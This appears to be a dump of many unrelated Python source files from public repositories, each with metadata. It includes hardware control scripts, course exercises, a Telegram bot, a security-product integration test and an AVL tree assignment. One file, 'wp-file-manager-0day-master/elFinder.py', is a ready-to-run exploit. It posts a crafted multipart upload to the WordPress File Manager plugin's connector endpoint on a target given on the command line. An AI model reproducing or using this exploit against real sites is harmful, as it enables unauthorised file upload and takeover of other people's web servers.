Projektbericht/Code/I2C_master.py
vlzware/AKAD_BEDEN
49a9df08ade7a2991cb6000ef3ffe7dc321f5101
[ "MIT" ]
null
null
null
Projektbericht/Code/I2C_master.py
vlzware/AKAD_BEDEN
49a9df08ade7a2991cb6000ef3ffe7dc321f5101
[ "MIT" ]
null
null
null
Projektbericht/Code/I2C_master.py
vlzware/AKAD_BEDEN
49a9df08ade7a2991cb6000ef3ffe7dc321f5101
[ "MIT" ]
null
null
null
#!/usr/bin/python3 import time, requests from smbus2 import SMBus # taken from the EasyVR software G1_LICHT_AN = 1 G1_LICHT_AUS = 2 G1_HELLER = 3 G1_DUNKLER = 4 G1_EINS_AN = 5 G1_EINS_AUS = 6 G1_ZWEI_AN = 7 G1_ZWEI_AUS = 8 # taken from OpenHAB settings #OH_url_base = 'http://pi-z.l...
29.140845
78
0.630739
24c1c4b4e1d093ba339b8ced7b0fad00a1545557
1,457
py
Python
Sound.py
BogyMitutoyoCTL/Riesen-Tetris-3
349d7b6f12c2ddf0b66683c904406a5e8596228d
[ "MIT" ]
1
2019-10-22T14:02:34.000Z
2019-10-22T14:02:34.000Z
Sound.py
BogyMitutoyoCTL/Riesen-Tetris-3
349d7b6f12c2ddf0b66683c904406a5e8596228d
[ "MIT" ]
null
null
null
Sound.py
BogyMitutoyoCTL/Riesen-Tetris-3
349d7b6f12c2ddf0b66683c904406a5e8596228d
[ "MIT" ]
null
null
null
import pygame class Sound: def __init__(self): self.volume = 1.0 def play(self, filename, channel_number=1): channel = pygame.mixer.Channel(channel_number) sound = pygame.mixer.Sound(filename) channel.set_volume(self.volume) channel.play(sound) def complete_line1(...
26.017857
54
0.61359
24da65231c1fdb0bbbaa4ba20aa350fe6c491d03
194
py
Python
exercises/de/solution_01_02_03.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
2
2020-07-07T01:46:37.000Z
2021-04-20T03:19:43.000Z
exercises/de/solution_01_02_03.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
exercises/de/solution_01_02_03.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
# Importiere spaCy import spacy # Erstelle ein spanisches nlp-Objekt nlp = spacy.blank("es") # Verarbeite einen Text doc = nlp("¿Cómo estás?") # Drucke den Text des Dokuments print(doc.text)
16.166667
36
0.731959
d90e2f6cb28d2cad40ba7dce1a141f8265779e0f
552
py
Python
hello/hello_ml/hello_xgb.py
East196/hello-py
a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21
[ "Apache-2.0" ]
1
2017-10-23T14:58:47.000Z
2017-10-23T14:58:47.000Z
hello/hello_ml/hello_xgb.py
East196/hello-py
a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21
[ "Apache-2.0" ]
null
null
null
hello/hello_ml/hello_xgb.py
East196/hello-py
a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21
[ "Apache-2.0" ]
1
2018-04-06T07:49:18.000Z
2018-04-06T07:49:18.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import xgboost as xgb import numpy as np data = np.random.rand(5,10) # 5 entities, each contains 10 features label = np.random.randint(2, size=5) # binary target dtrain = xgb.DMatrix( data, label=label) dtest = dtrain param = {'bst:max_depth':2, 'bst:eta':1, 'silent':1,...
25.090909
84
0.679348
eb68aca4be4f266d9f7a0cc52965dd2b65030053
729
py
Python
SymbolicCalculation/main.py
qianduanXIAOHAOZI/NERenderer
bc8565e67e946648ab4fd8c986184d87f8fb85f4
[ "Apache-2.0" ]
2
2022-02-06T15:02:57.000Z
2022-02-06T15:13:40.000Z
SymbolicCalculation/main.py
qianduanXIAOHAOZI/NERenderer
bc8565e67e946648ab4fd8c986184d87f8fb85f4
[ "Apache-2.0" ]
null
null
null
SymbolicCalculation/main.py
qianduanXIAOHAOZI/NERenderer
bc8565e67e946648ab4fd8c986184d87f8fb85f4
[ "Apache-2.0" ]
null
null
null
from sympy import symbols, pi, sqrt, atan2, cos, sin from manifold import Manifold manifold = Manifold() x, y, z = manifold.x r = symbols("r") g = [[r, 0, 0], [0, r * cos(x)**2, 0], [0, 0, r * cos(x) ** 2 * cos(y) ** 2]] # g = [[1, 0, 0], [0, 1, 0], [0, 0, 1]] manifold.set_metric(g) C = manifold.C R = mani...
28.038462
78
0.463649
d66799621b2ffe53f8ddaf362bef56614b8fd164
615
py
Python
src/constant.py
minhluu2000/AggiePass
a86198b26e5fbec0f2de68f88fc4fd6aac362233
[ "MIT" ]
null
null
null
src/constant.py
minhluu2000/AggiePass
a86198b26e5fbec0f2de68f88fc4fd6aac362233
[ "MIT" ]
null
null
null
src/constant.py
minhluu2000/AggiePass
a86198b26e5fbec0f2de68f88fc4fd6aac362233
[ "MIT" ]
null
null
null
"""This file contains all the basic credentials.""" # ===============DATABASE AUTHENTICATION=============== database_name = 'password_manager' database_account = 'public_user' # ===============DATABASE SCHEMA=============== password_vault_tab = 'password_vault' password_vault_col = ['uid', 'acc_description', 'acc_us...
36.176471
79
0.678049
d6876a777db3f07ebd104d4da9c396d69eb08d45
152
py
Python
nz_crawl_demo/day5/demo1.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
null
null
null
nz_crawl_demo/day5/demo1.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
27
2020-02-12T07:55:58.000Z
2022-03-12T00:19:09.000Z
nz_crawl_demo/day5/demo1.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
2
2020-02-18T01:54:55.000Z
2020-02-21T11:36:28.000Z
from selenium import webdriver import time driver = webdriver.Chrome() driver.get("http://www.zhihu.com") time.sleep(2) # driver.quit() driver.close()
16.888889
34
0.743421
ba54f9e807f8003af06314ee9a340b23fc439427
590
py
Python
club/urls.py
miglesias91/dt
6e00f883ebdb581f87750852f18cf9e3058aae2f
[ "MIT" ]
null
null
null
club/urls.py
miglesias91/dt
6e00f883ebdb581f87750852f18cf9e3058aae2f
[ "MIT" ]
null
null
null
club/urls.py
miglesias91/dt
6e00f883ebdb581f87750852f18cf9e3058aae2f
[ "MIT" ]
null
null
null
from django.urls import path from club import views from club.models import LogMessage home_list_view = views.HomeListView.as_view( queryset=LogMessage.objects.order_by("-log_date")[:5], # :5 limits the results to the five most recent context_object_name="message_list", template_name="club/club.html", ) ...
34.705882
107
0.701695
2415533ba63582de7bdb35fe5f29ebacaabf5601
116
py
Python
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/ph-8.17-funny-program.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/ph-8.17-funny-program.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-008/ph-8.17-funny-program.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
str = "a quick brown for jumps over the lazy dog" for c in "abcdefghijklmnopqrstuvwxys": print(c, str.count(c))
29
49
0.715517
79e600b2a1b599d36767a746d8140c248454a09c
2,967
py
Python
jumeaux/addons/final/notify.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
11
2017-10-02T01:29:12.000Z
2022-03-31T08:37:22.000Z
jumeaux/addons/final/notify.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
79
2017-07-16T14:47:17.000Z
2022-03-31T08:49:14.000Z
jumeaux/addons/final/notify.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
2
2019-01-28T06:11:58.000Z
2021-01-25T07:21:21.000Z
# -*- coding:utf-8 -*- import sys from owlmixin import OwlMixin, TOption from owlmixin.owlcollections import TList from jumeaux.addons.final import FinalExecutor from jumeaux.utils import jinja2_format, get_jinja2_format_error, when_optional_filter from jumeaux.logger import Logger from jumeaux.models import FinalAd...
35.746988
107
0.644759
4e29e78ecc7e1c0d783eb36446369c7128012d13
10,106
py
Python
Packs/NozomiNetworks/Integrations/NozomiNetworks/NozomiNetworks_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/NozomiNetworks/Integrations/NozomiNetworks/NozomiNetworks_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/NozomiNetworks/Integrations/NozomiNetworks/NozomiNetworks_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import pytest from NozomiNetworks import * NOZOMIGUARDIAN_URL = 'https://test.com' @pytest.mark.parametrize('obj, expected', [({'last_id': "an_id"}, True), ({}, False), (None, False), ]) def test_has_last_id(obj, expected): assert has_last_id(obj) is expected @pytest.mark.parametrize('obj, expected', [({'last_...
34.728522
120
0.594201
4e398f38821362dbe1c12d5fb1d0fe49eb8a8969
4,027
py
Python
csv2kml.py
luki-ev/membermap
abae08c06fadc64f267ba67d64898301bc0e1b64
[ "BSD-2-Clause" ]
null
null
null
csv2kml.py
luki-ev/membermap
abae08c06fadc64f267ba67d64898301bc0e1b64
[ "BSD-2-Clause" ]
null
null
null
csv2kml.py
luki-ev/membermap
abae08c06fadc64f267ba67d64898301bc0e1b64
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python3 import os import sys import csv from geopy.geocoders import Nominatim CACHEFILE = 'geolookup-cache.csv' cache = {} placemarks_by_style = {} valid_styles = ['mitglied', 'treffen'] geolocator = Nominatim(user_agent='python') def load_lookup_cache(): if not os.path.isfile(CACHEFILE): ...
32.739837
98
0.578594
9dccbf6369f9d383f20d6dc2512928d52ba24cd9
290
py
Python
Licence 2/I33/TP 7/ex_1.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
2021-11-29T15:46:22.000Z
Licence 2/I33/TP 7/ex_1.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 2/I33/TP 7/ex_1.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
def det(A): if len(A) == 2: return A[0][0] * A[1][1] - A[0][1] * A[1][0] prout = 0 for j in range(len(A)): mat = list(A) for i in range(len(A[0])): A[j].pop(i) print(mat) return prout det([[16, 12, 12], [8, 7, 6], [16, 13, 8]])
20.714286
52
0.410345
9dd3462a3dce3fa70ee56018973566b448f1fe3a
487
py
Python
tag_1/p_3_4_produkt_einer_reihe.py
techrabbit58/uebung_informatik_vorkurs
e99312ae66ccccd6bfe45bfd3c3f43c01690659c
[ "Unlicense" ]
null
null
null
tag_1/p_3_4_produkt_einer_reihe.py
techrabbit58/uebung_informatik_vorkurs
e99312ae66ccccd6bfe45bfd3c3f43c01690659c
[ "Unlicense" ]
null
null
null
tag_1/p_3_4_produkt_einer_reihe.py
techrabbit58/uebung_informatik_vorkurs
e99312ae66ccccd6bfe45bfd3c3f43c01690659c
[ "Unlicense" ]
null
null
null
""" 3 for/while-Schleifen (Tag 1) 3.4 Lass Dir das Produkt einer Reihe berechnen und gib das Ergebnis aus, z.B.: produkt(k=1, limit=n, ausdruck=(x + 1)/x) Beispiel: Ergebnis für n=20 ist 21 """ def produkt(k, limit, ausdruck): antwort = 1 for x in range(1, limit + 1): antwort *= ausdruck(x) ...
24.35
118
0.622177
9df7722a5c1de9e6d412753640642ef04dd419c7
1,802
py
Python
datasets/dataset.py
pgmikhael/MLExperiments
d3613a70e537ea5aaa0453ddaa76938c32637c49
[ "MIT" ]
null
null
null
datasets/dataset.py
pgmikhael/MLExperiments
d3613a70e537ea5aaa0453ddaa76938c32637c49
[ "MIT" ]
null
null
null
datasets/dataset.py
pgmikhael/MLExperiments
d3613a70e537ea5aaa0453ddaa76938c32637c49
[ "MIT" ]
null
null
null
import torch from torch.utils import data from datasets.dataset_factory import RegisterDataset import json from collections import defaultdict from tqdm import tqdm import time import os from copy import copy from datasets.abstract_dataset import Abstract_Dataset from helpers.classes import Ddict METADATA_FILENAMES = ...
28.15625
96
0.554939
d1a68f9c5603f6d2b4482bdc7c74132cc5f7d4cf
3,974
py
Python
TreeModelLib/BelowgroundCompetition/OGSLargeScale3DExternal/python_source.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
1
2021-03-16T08:35:50.000Z
2021-03-16T08:35:50.000Z
TreeModelLib/BelowgroundCompetition/OGSLargeScale3DExternal/python_source.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
67
2019-11-14T11:29:52.000Z
2022-03-09T14:37:11.000Z
TreeModelLib/BelowgroundCompetition/OGSLargeScale3DExternal/python_source.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
6
2019-11-12T11:11:41.000Z
2021-08-12T13:57:22.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @date: 2021-Today @author: marie-christin.wimmler@tu-dresden.de """ ## This is an example file for an OGS boundary condition using MANGA external # Directories and file names need to be updated import OpenGeoSys import sys import numpy as np import vtk as vtk # Plea...
32.57377
79
0.651233
88643a7c30d536d73056fb5371e0bedf41f7fa01
440
py
Python
netease/__init__.py
FelixLukk/netease_music_cat
97f4487e74e09661a1dd46b7b00c01845311436b
[ "MIT" ]
2
2020-02-20T18:05:45.000Z
2020-02-22T06:40:52.000Z
netease/__init__.py
FelixLukk/netease_music_cat
97f4487e74e09661a1dd46b7b00c01845311436b
[ "MIT" ]
1
2021-06-02T01:30:56.000Z
2021-06-02T01:30:56.000Z
data_acquire_store/netease/__init__.py
PatrickNgZh/RecommenderSystem
0dbd3ac05ca8c1b5948a2605f1a9407f1ec59d39
[ "Apache-2.0" ]
1
2020-03-17T09:17:18.000Z
2020-03-17T09:17:18.000Z
# !/usr/bin/env python # -*- coding: utf-8 -*- # author: humingk # ---------------------- from .form_data import form_data from .first_param import first_param from .request_data import request_data from .user_playlists import user_playlists from .user_ranklist_songs import user_ranklist_songs from .playlist_songs im...
29.333333
52
0.777273
ee5acddd9341cb02d2edd0a96e8ac92a13a24c6a
58
py
Python
python/python_backup/Python_Progs/PYTHON_LEGACY_PROJECTS/calender.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/python_backup/Python_Progs/PYTHON_LEGACY_PROJECTS/calender.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/python_backup/Python_Progs/PYTHON_LEGACY_PROJECTS/calender.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
import calendar yy=2017 mm=11 print(calendar.month(yy,mm))
14.5
28
0.793103
ee8a4fc178b3a1d1a9470163c3fc060b9cda8ed1
710
py
Python
extra/dostuff.py
enordquist/Go100x
327a8f767a68d7b42e6cd0aea11b2d9cc2d8b5ea
[ "MIT" ]
null
null
null
extra/dostuff.py
enordquist/Go100x
327a8f767a68d7b42e6cd0aea11b2d9cc2d8b5ea
[ "MIT" ]
null
null
null
extra/dostuff.py
enordquist/Go100x
327a8f767a68d7b42e6cd0aea11b2d9cc2d8b5ea
[ "MIT" ]
null
null
null
import numpy as np # filepaths path = '/ccsopen/proj/gen126/go100x/' data = 'test_data/' xyzq = 'posq_cuda.dat' # cartesian coordinates and partial charges para = 'params_cuda.dat' # parameters: vdW radius, and an unknown column # read xyzq_arr = np.genfromtxt(path+data+xyzq, delimiter=" ") para_arr = np.genfromtxt...
26.296296
72
0.678873
4e4f858647865f4202022f555e2fa3826d020e3b
5,122
py
Python
wp-file-manager-0day-master/elFinder.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
wp-file-manager-0day-master/elFinder.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
wp-file-manager-0day-master/elFinder.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
#!/usr/bin/env python2 import requests import sys print("Usage: %s http://localhost" % sys.argv[0]) burp0_url = "%s/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" % sys.argv[1] burp0_headers = {"User-Agent": "curl/7.68.0", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=-----------...
243.904762
4,242
0.704998
09283ce0b7dbfbbe917585ae04a8947e8b4dc794
2,033
py
Python
SC101_Assignments/SC101_Assignment0/class_reviews.py
JIllchen487/StanCode101
8025dd4e4cf0cb3d14d7314ef4ea6dfff3e5b5cc
[ "MIT" ]
null
null
null
SC101_Assignments/SC101_Assignment0/class_reviews.py
JIllchen487/StanCode101
8025dd4e4cf0cb3d14d7314ef4ea6dfff3e5b5cc
[ "MIT" ]
null
null
null
SC101_Assignments/SC101_Assignment0/class_reviews.py
JIllchen487/StanCode101
8025dd4e4cf0cb3d14d7314ef4ea6dfff3e5b5cc
[ "MIT" ]
null
null
null
""" File: class_reviews.py Name: ------------------------------- At the beginning of this program, the user is asked to input the class name (either SC001 or SC101). Attention: your input should be case-insensitive. If the user input "-1" for class name, your program would show the maximum, minimum, and average among a...
26.75
90
0.452041
e10d38e79f37b30dfdcff0ce6c009623ef94a9bd
707
py
Python
nz_django/day1/path_converter_demo/articles/converters.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
null
null
null
nz_django/day1/path_converter_demo/articles/converters.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
27
2020-02-12T07:55:58.000Z
2022-03-12T00:19:09.000Z
nz_django/day1/path_converter_demo/articles/converters.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
2
2020-02-18T01:54:55.000Z
2020-02-21T11:36:28.000Z
from django.urls import register_converter # 写一个类 继承自object class CategoryConverter(object): # 在类中定义一个属性 regex 限制url规则的正则表达式 regex = r'\w+|(\w+\+\w+)+' # 实现 to_python 方法 这个方法用来将url值转换传给 视图函数 def to_python(self,value): #将 django+flask+tornado => [django,flask,tornado] result = value.split('+') ...
28.28
57
0.660537
013a075c0dfedc8ea859eb2a4ffd75b8d040e49f
2,964
py
Python
src/onegov/winterthur/path.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/winterthur/path.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/winterthur/path.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from datetime import date from onegov.winterthur.app import WinterthurApp from onegov.winterthur.collections import AddressCollection from onegov.winterthur.collections import AddressSubsetCollection from onegov.winterthur.collections import MissionReportCollection from onegov.winterthur.collections import MissionRepor...
30.556701
78
0.778677
6d95dd5743c7763e669358e4c3fb819bd6ebe6d2
1,456
py
Python
assignments/ps4-template/tastiest_slice.py
tallamjr/mit-6006
c2aa6bb48edef5800c0779ba2eebd697d44249b5
[ "MIT" ]
1
2022-02-26T13:52:31.000Z
2022-02-26T13:52:31.000Z
assignments/ps4-template/tastiest_slice.py
tallamjr/mit-6006
c2aa6bb48edef5800c0779ba2eebd697d44249b5
[ "MIT" ]
null
null
null
assignments/ps4-template/tastiest_slice.py
tallamjr/mit-6006
c2aa6bb48edef5800c0779ba2eebd697d44249b5
[ "MIT" ]
null
null
null
from Set_AVL_Tree import BST_Node, Set_AVL_Tree ####################################### # DO NOT REMOVE THIS IMPORT STATEMENT # # DO NOT MODIFY IMPORTED CODE # ####################################### class Key_Val_Item: def __init__(self, key, val): self.key = key self.val = val def __...
29.12
67
0.458104
099f34de020008b908a6e3283d14678cd0a0c906
2,032
py
Python
autojail/extract/clock_info.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
6
2020-08-12T08:16:15.000Z
2022-03-05T02:25:53.000Z
autojail/extract/clock_info.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-03-30T10:34:51.000Z
2021-06-09T11:24:00.000Z
autojail/extract/clock_info.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-11-21T09:30:58.000Z
2021-11-21T09:30:58.000Z
import logging import subprocess from pathlib import Path from ..model import AutojailConfig MODULE_DIR = Path(__file__).parent.absolute() / "clocks" class ClockInfoExtractor: def __init__(self, config: AutojailConfig): self.config = config self.logger = logging.getLogger() def prepare(sel...
29.449275
91
0.575295
28a472e994965cabe25a423a767b9a139981396d
684
py
Python
Sketche/nature_of_code/chapter_3/angular_motion_01.py
kantel/p5
2ef14191c35fdb056b44624c6ff0ff764c88cc30
[ "MIT" ]
null
null
null
Sketche/nature_of_code/chapter_3/angular_motion_01.py
kantel/p5
2ef14191c35fdb056b44624c6ff0ff764c88cc30
[ "MIT" ]
null
null
null
Sketche/nature_of_code/chapter_3/angular_motion_01.py
kantel/p5
2ef14191c35fdb056b44624c6ff0ff764c88cc30
[ "MIT" ]
null
null
null
import p5 a_angle = 0 a_velocity = 0 a_accleration = 0.001 def setup(): p5.size(400, 400) # Funzt zur Zeit noch nicht, aber das nächste Release soll den Titel wieder anzeigen. # p5.title("Dein Titel hier …") def draw(): global a_angle, a_velocity, a_accleration p5.background(235, 215, 182) ...
21.375
89
0.612573
6e6bc8dcfe281cbde7753455fff435fe63733351
1,989
py
Python
utils/numba_utils.py
yerfor/Soft-DRGN
0c96d1ea295077b949229261c37d8dde25001a03
[ "MIT" ]
2
2022-02-24T08:21:49.000Z
2022-03-10T08:57:35.000Z
utils/numba_utils.py
yerfor/Soft-DRGN
0c96d1ea295077b949229261c37d8dde25001a03
[ "MIT" ]
1
2022-02-24T08:40:21.000Z
2022-02-24T12:01:58.000Z
utils/numba_utils.py
yerfor/Soft-DRGN
0c96d1ea295077b949229261c37d8dde25001a03
[ "MIT" ]
null
null
null
import random import numba import numpy as np @numba.njit def numba_manual_seed(seed): np.random.seed(seed) @numba.njit def numba_categorical_sample(probs): # probs: A matrix likes [n_agent, n_action], normalized in dim=1 action = [] for i in range(probs.shape[0]): logit = random.random() ...
29.25
99
0.579186
9556902ad8458dd1ea444b36c1233f609f642d98
3,192
py
Python
checks/duplicate_content.py
thegreenwebfoundation/green-spider
68f22886178bbe5b476a4591a6812ee25cb5651b
[ "Apache-2.0" ]
19
2018-04-20T11:03:41.000Z
2022-01-12T20:58:56.000Z
checks/duplicate_content.py
thegreenwebfoundation/green-spider
68f22886178bbe5b476a4591a6812ee25cb5651b
[ "Apache-2.0" ]
160
2018-04-05T16:12:59.000Z
2022-03-01T13:01:27.000Z
checks/duplicate_content.py
thegreenwebfoundation/green-spider
68f22886178bbe5b476a4591a6812ee25cb5651b
[ "Apache-2.0" ]
8
2018-11-05T13:07:57.000Z
2021-06-11T11:46:43.000Z
""" This checker looks at the similarity between previously downloaded pages and removes duplicates from the config URLs """ import logging import html_similarity from checks.abstract_checker import AbstractChecker class Checker(AbstractChecker): # value above which we consider a page pair a duplicate sim...
29.555556
120
0.529135
9569da8783b45207f515ed766be6f64344ad8b91
2,541
py
Python
hippocampus_tools_ros/scripts/mavros_local_pos_ENU_to_NED.py
Zarbokk/HippoCampus_Tools
1871facc5e36115da60fe689b0630218b381d241
[ "BSD-3-Clause" ]
null
null
null
hippocampus_tools_ros/scripts/mavros_local_pos_ENU_to_NED.py
Zarbokk/HippoCampus_Tools
1871facc5e36115da60fe689b0630218b381d241
[ "BSD-3-Clause" ]
null
null
null
hippocampus_tools_ros/scripts/mavros_local_pos_ENU_to_NED.py
Zarbokk/HippoCampus_Tools
1871facc5e36115da60fe689b0630218b381d241
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python import numpy as np from pyquaternion import Quaternion import rospy from geometry_msgs.msg import Pose, PoseArray, PoseStamped from visualization_msgs.msg import Marker, MarkerArray publisher_position_boat_NED = rospy.Publisher("/mavros/local_position/pose_NED", PoseStamped, queue_size=1) rat...
29.894118
107
0.648957
95766609d7834f9c7667997fbddf1d5c524435b8
204
py
Python
jumeaux/addons/res2res/__init__.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
11
2017-10-02T01:29:12.000Z
2022-03-31T08:37:22.000Z
jumeaux/addons/res2res/__init__.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
79
2017-07-16T14:47:17.000Z
2022-03-31T08:49:14.000Z
jumeaux/addons/res2res/__init__.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
2
2019-01-28T06:11:58.000Z
2021-01-25T07:21:21.000Z
# -*- coding:utf-8 -*- from jumeaux.models import Res2ResAddOnPayload class Res2ResExecutor: def exec(self, payload: Res2ResAddOnPayload) -> Res2ResAddOnPayload: raise NotImplementedError()
25.5
72
0.745098
c2e5ec5a2fd0e0dde01c9ee3c395e3cf5a198fef
3,626
py
Python
Dnnme2-main/bots/Bot1.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
Dnnme2-main/bots/Bot1.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
Dnnme2-main/bots/Bot1.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
import telebot from telebot import types import time import random ID = '' bot = telebot.TeleBot("") adr = ['Тверская улица, дом 13', 'Проспект 60-летия Октября', 'Улица Винокурова', '3-й Голутвинский переулок'] bot.send_message(ID, '!BOT STARTED!') @bot.message_handler(commands=['start']) def start(messa...
34.207547
148
0.705461
66b66346d2f66ae771e91c1b70633622adbd8c38
335
py
Python
_transonic_testing/for_test_exterior_import_jit.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
88
2019-01-08T16:39:08.000Z
2022-02-06T14:19:23.000Z
_transonic_testing/for_test_exterior_import_jit.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
13
2019-06-20T15:53:10.000Z
2021-02-09T11:03:29.000Z
_transonic_testing/for_test_exterior_import_jit.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
1
2019-11-05T03:03:14.000Z
2019-11-05T03:03:14.000Z
import gast import numpy as np from .for_test_exterior_import_jit_2 import func_import_2 const = 1 foo = 1 def func_import_multilevel(): return const + np.pi - np.pi + func_import_2() def func_import(): return const + np.pi - np.pi def func_import2(): return const + np.pi - np.pi def use_gast(): ...
13.958333
57
0.692537
dd36f1eb7c21e91dae1d3f00b548e4a82a0f2114
146
py
Python
TreeModelLib/BelowgroundCompetition/SimpleHydro/__init__.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
1
2021-03-16T08:35:50.000Z
2021-03-16T08:35:50.000Z
TreeModelLib/BelowgroundCompetition/SimpleHydro/__init__.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
67
2019-11-14T11:29:52.000Z
2022-03-09T14:37:11.000Z
TreeModelLib/BelowgroundCompetition/SimpleHydro/__init__.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
6
2019-11-12T11:11:41.000Z
2021-08-12T13:57:22.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Nov 8 15:25:03 2018 @author: Peters """ from .SimpleHydro import SimpleHydro
14.6
36
0.657534
af42fd72f5b7f454ad501e5ddae058ff05ed766c
1,658
py
Python
machine_vision/face_distance/live_demo.py
stanton119/data-analysis
b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9
[ "Apache-2.0" ]
null
null
null
